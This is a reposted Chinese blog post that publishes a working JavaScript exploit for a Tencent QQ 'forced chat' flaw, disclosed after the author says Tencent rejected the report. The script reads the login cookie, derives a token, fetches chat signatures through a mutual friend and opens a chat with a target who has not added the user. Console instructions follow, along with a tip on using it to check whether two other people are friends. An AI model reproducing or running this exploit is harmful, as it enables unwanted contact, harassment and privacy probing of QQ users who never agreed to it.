最新QQ強制聊天代碼,同時可判斷好友關系


     QQ強聊雖然早就變成了一個傳說,但現在依然可以實現。

     小菜其實早就知道這個漏洞,但是一直沒公布,前兩天突然來興致試了試,沒想到漏洞依然存在。

     然后小菜跑到了烏雲漏洞報告平台舉報漏洞,但沒想到被騰訊魯莽的否認了,他竟然說漏洞不存在,漏洞不存在,那些截圖是怎么來的。。。小菜辛辛苦苦寫的漏洞原理,就這么無情的被拒絕了。。。

     小菜很失望,既然騰訊這么不負責任,那小菜就把漏洞發出來。

     漏洞的具體原理,小菜已經在烏雲上闡述了《騰訊QQ強制聊天漏洞》,十分的詳細,在這不多說。

     為了讓讀者更方便的利用此漏洞,小菜寫了一個js腳本,腳本如下

  1 (function(exports){
  2 
  3   var chatVO = {
  4     //你的QQ
  5     yourQQ: "20737302",
  6     //你好友的QQ
  7     yourFQQ: "649374916",
  8     //女神的QQ
  9     targetQQ: "20618348",
 10     //女神好友的QQ
 11     targetFQQ: "649374916"
 12   };
 13   var config = {
 14     init: function(){
 15       var skey;
 16       skey = getCookie("skey") || getCookie("rv2") || "";
 17       function getCookie(name){
 18         var r = new RegExp("(?:^|;+|\\s+)" + name + "=([^;]*)"), m = document.cookie.match(r);
 19         return !m ? "" : m[1];
 20       }
 21       function _DJB (str) {
 22         var hash = 5381;
 23         for (var i = 0, len = str.length; i < len; ++i)
 24             hash += (hash << 5) + str.charCodeAt(i);
 25         return hash & 2147483647
 26       };
 27       
 28       this.sigURL = this.sigURL.replace("{{t}}",_DJB(skey));
 29     },
 30     sigURL: "http://r.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin={{sender}}&to_uin={{receiver}}&g_tk={{t}}",
 31     chatURL: "tencent://message/?Menu=yes&uin={{sender}}&Service=112&SigT={{sigt}}&SigU={{sigu}}"
 32   };
 33   var util = {
 34     ajax: function(obj){
 35       var xmlHttp;
 36       
 37       if(obj.async === undefined){
 38         obj.async = true;
 39       }
 40       
 41       if(window.XMLHttpRequest){
 42           xmlHttp = new XMLHttpRequest();
 43       }else{
 44           xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
 45       }
 46       
 47       xmlHttp.onreadystatechange=function(){
 48         obj.callback(xmlHttp);
 49       };
 50       xmlHttp.open(obj.type,obj.url,obj.async);
 51       xmlHttp.send();
 52     }
 53   };
 54   var logic = {
 55     getSigU: function (sender,receiver){
 56       var sigu = "";
 57       util.ajax({
 58         url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
 59         type: "get",
 60         async: false,
 61         callback: function(xhr){
 62           if(xhr.readyState == 4){
 63             var html = xhr.responseText.replace(/[\n]/g,"");
 64             if(/&SigU=/gmi.test(html)){
 65               sigu = html.split(/&SigU=/m)[1].split(/'/m)[0];
 66             }else{
 67               alert("你和你的好友,好友關系不成立!");
 68             }
 69           }
 70         }
 71       });
 72       
 73       return sigu;
 74     },
 75     getSigT: function (sender,receiver){
 76       var sigt = "";
 77       util.ajax({
 78         url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
 79         type: "get",
 80         async: false,
 81         callback: function(xhr){
 82           if(xhr.readyState == 4){
 83             var html = xhr.responseText.replace(/[\n]/g,"");
 84             if(/&SigT=/gmi.test(html)){
 85               sigt = html.split(/&SigT=/m)[1].split(/&SigU=/m)[0];
 86             }else{
 87               alert("他和他的好友,好友關系不成立!");
 88             }
 89           }
 90         }
 91       });
 92       
 93       return sigt;
 94     },
 95     runChat: function (sender,sigu,sigt) {
 96       exports.location = config.chatURL.replace("{{sender}}",sender).replace("{{sigt}}",sigt).replace("{{sigu}}",sigu);
 97     }
 98   };
 99   
100   config.init();
101   
102   var sigu = logic.getSigU(chatVO.yourQQ,chatVO.yourFQQ);
103   var sigt = logic.getSigT(chatVO.targetFQQ,chatVO.targetQQ);
104   
105   logic.runChat(chatVO.targetQQ,sigu,sigt);
106   
107 })(this);
View Code

     這個腳本,您只需要關注最頂部的四個參數,

  •      yourQQ: "20737302",
  •      yourFQQ: "649374916",
  •      targetQQ: "20618348",
  •      targetFQQ: "649374916"

     這四個參數缺一不可,而且必須都正確,讀者可根據自己的實際情況填寫,主要就是女神好友的QQ可能不知道(任意一個好友即可),猜吧!

     假如您不知道女神好友的QQ,亂填一個,會提示好友關系不成立,順便還可以用這個提示測試兩個人是不是好友,很實用吧!

   測試的時候忽略了一個問題:女神好友的QQ(targetFQQ),作為中間人,不能隨便填,必須同時是你們兩個的好友才可以。。。抱歉!!

     接下來說說怎么運行這個腳本。

     首先要用瀏覽器打開你的QQ空間,最好使用火狐和谷歌瀏覽器,然后保持QQ空間是登錄狀態。

     然后在QQ空間的選項卡旁邊新建一個選項卡,輸入網址:http://r.qzone.qq.com,按回車轉到,發現是一片空白,這就對了。

     在瀏覽器上按F12打開控制台,把腳本粘貼到控制台中,運行即可。

     為什么要這么做呢。。。登錄QQ空間是為了拿到有效的cookie,否則沒辦法訪問騰訊接口,而新建一個選項卡是為了避免跨域問題,同時又可以與登錄的QQ空間共享cookie。

     其他就沒什么了,快動手試試吧!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM